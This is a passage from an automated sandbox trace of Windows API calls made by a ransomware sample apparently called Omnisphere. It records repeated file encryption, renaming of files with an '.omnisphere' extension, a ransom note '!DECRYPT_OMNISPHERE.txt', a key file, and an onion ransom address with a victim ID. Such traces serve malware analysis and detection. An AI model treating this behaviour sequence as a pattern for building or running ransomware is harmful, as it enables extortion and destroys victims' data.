dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.088] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.090] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.090] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0118.090] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x819, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.090] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.090] GetProcessHeap () returned 0x1600000 [0118.090] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2be) returned 0x169f3e0 [0118.090] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms.omnisphere")) returned 1 [0118.091] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms.omnisphere.id" [0118.091] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.092] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.093] CloseHandle (hObject=0x3c0) returned 1 [0118.094] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.094] CloseHandle (hObject=0x288) returned 1 [0118.094] SetEndOfFile (hFile=0x28c) returned 1 [0118.094] FlushFileBuffers (hFile=0x28c) returned 1 [0118.098] CloseHandle (hObject=0x28c) returned 1 [0118.099] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 1 [0118.099] GetProcessHeap () returned 0x1600000 [0118.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169f6a8 [0118.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.099] GetProcessHeap () returned 0x1600000 [0118.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16938c8 [0118.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16938c8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.099] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.099] GetProcessHeap () returned 0x1600000 [0118.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686ee8 [0118.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686ee8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.099] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.099] GetProcessHeap () returned 0x1600000 [0118.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x166a878 [0118.099] PathCombineW (in: pszDest=0x166a878, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" [0118.099] GetProcessHeap () returned 0x1600000 [0118.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x169a060 [0118.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.099] WriteFile (in: hFile=0x28c, lpBuffer=0x169a060*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x169a060*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.100] CloseHandle (hObject=0x28c) returned 1 [0118.100] GetProcessHeap () returned 0x1600000 [0118.100] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169f6a8 | out: hHeap=0x1600000) returned 1 [0118.100] GetProcessHeap () returned 0x1600000 [0118.100] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x1631968 [0118.100] PathCombineW (in: pszDest=0x1631968, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" [0118.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.100] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.100] CloseHandle (hObject=0x28c) returned 1 [0118.100] GetProcessHeap () returned 0x1600000 [0118.100] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1631968 | out: hHeap=0x1600000) returned 1 [0118.100] GetProcessHeap () returned 0x1600000 [0118.100] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630de8 | out: hHeap=0x1600000) returned 1 [0118.101] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce10167a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce10167a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x90e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="SavedPictures.library-ms", cAlternateFileName="SAVEDP~1.LIB")) returned 1 [0118.101] GetProcessHeap () returned 0x1600000 [0118.101] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166a938 [0118.101] PathCombineW (in: pszDest=0x166a938, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="SavedPictures.library-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms" [0118.101] StrStrW (lpFirst=".omnisphere", lpSrch=".library-ms") returned 0x0 [0118.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\savedpictures.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.101] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=2318) returned 1 [0118.101] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3ea, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.101] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0118.102] GetTickCount () returned 0x115d84b [0118.102] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 0x115d84b [0118.103] GetTickCount () returned 